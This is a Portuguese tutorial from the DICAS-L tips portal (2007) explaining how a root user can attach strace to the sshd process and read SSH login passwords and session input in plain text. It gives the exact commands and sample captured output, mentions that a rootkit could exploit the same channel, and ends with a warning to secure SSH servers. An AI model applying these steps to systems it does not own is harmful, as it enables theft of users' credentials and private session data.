De acordo com as Leis 12.965/2014 e 13.709/2018, que regulam o uso da Internet e o tratamento de dados pessoais no Brasil, ao me inscrever na newsletter do portal DICAS-L, autorizo o envio de notificações por e-mail ou outros meios e declaro estar ciente e concordar com seus Termos de Uso e Política de Privacidade.
Sniffando o SSH com o Strace
Colaboração: Leandro Godoy
Data de Publicação: 11 de Maio de 2007
É possivel Sniffar as Conexões via SSH simplesmente escutando as chamadas
System Calls do daemon SSHD. Existe um ponto de comunicação entre o SSHD e
o Kernel, entre a Criptografia e a Descriptografia, em que os dados passam em
Texto Plano (plain text) e este tráfego pode ser capturado com o uso do Strace.
1. Sniffando a Senha do Login:
- No servidor que está com o Server do SSH rodando descubra qual o pid do daemon sshd:
Zion:~# ps aux | grep sshd | grep -v grep
root 6097 0.0 0.1 4792 1076 ? Ss 16:49 0:00 /usr/sbin/sshd
- De posse deste pid dispare o Strace (como root):
Zion:~# strace -f -p 6097 -o snif_ssh.txt &
Este comando irá logar no arquivo sniff_ssh.txt todas as chamadas do processo
de pid 6097 (sshd). Uma lida no man do strace ajuda a entender e experimentar
outras opções de filtragem e paãmetros.
- De um outro servidor, ou para fins de teste da mesma máquina, faça um ssh
com um usuário qualquer:
godoy@Zion:~$ ssh localhost
Password: textoplano
Last login: Mon May 7 17:01:15 2007 from localhost.localdomain
godoy@Zion:~$
- Agora analíse as saídas que foram logadas no arquivo sniff_ssh.txt, procure
pelas chamadas read ou write:
Zion:~# cat snif_ssh.txt | grep read | more
6521 write(4, \0\0\0\1\0\0\0\ntextoplano , 18 <unfinished >
6520 < read resumed> 7\0\0\0\1\0\0\0\ntextoplano , 19) = 19
6520 write(7, \0\0\0\ntextoplano , 14 <unfinished >
6522 < read resumed> \6\0\0\0\ntextoplano , 15) = 15
2. Sniffando as demais transferências de dados:
- Digite o seguinte comando, restringindo a busca as chamadas read e write:
Zion:~# strace -f -p 6097 -o snif_ssh.txt -v -e trace=read,write -s 128 &
- Teste alguns comandos no cliente:
godoy@Zion:~$ cat > teste.txt
======== OK =======
Sniffou??
======= OK =======
godoy@Zion:~$
- Verifique o log o servidor pesquisando por write ou read:
Zion:~# cat snif_ssh.txt | grep ===
6586 < read resumed> ======== OK =======\n , 4096) = 20
6586 write(1, ======== OK =======\n , 20) = 20
6586 < read resumed> ======= OK =======\n , 4096) = 19
6586 write(1, ======= OK =======\n , 19) = 19
Zion:~# cat snif_ssh.txt | grep Sniff
6586 < read resumed> Sniffou??\n , 4096) = 10
6586 write(1, Sniffou??\n , 10) = 10
Zion:~#
Como a saída do Strace é muito prolixa e pode rapidamente criar um arquivo
bem grande, cabe aqui um script para filtrar melhor o log que será gravado
no arquivo sniff_ssh.txt.
Pode-se imaginar que é perfeitamente possível disparar tais comandos no lado do cliente!!
E que também pode-se criar um rootkit que se aproveite desta comunicação de
SystemCalls para pegar o tráfego entre o Servidor SSH e seus clientes.
Portanto tome muito cuidado com os seus servidores SSH e coms seus clientes.
Leandro Godoy
Consultor de TI
LPI Certified Level 2
Mandriva Instructor Certified
ITIL Foundation Certified
http://www.blogmind.com.br/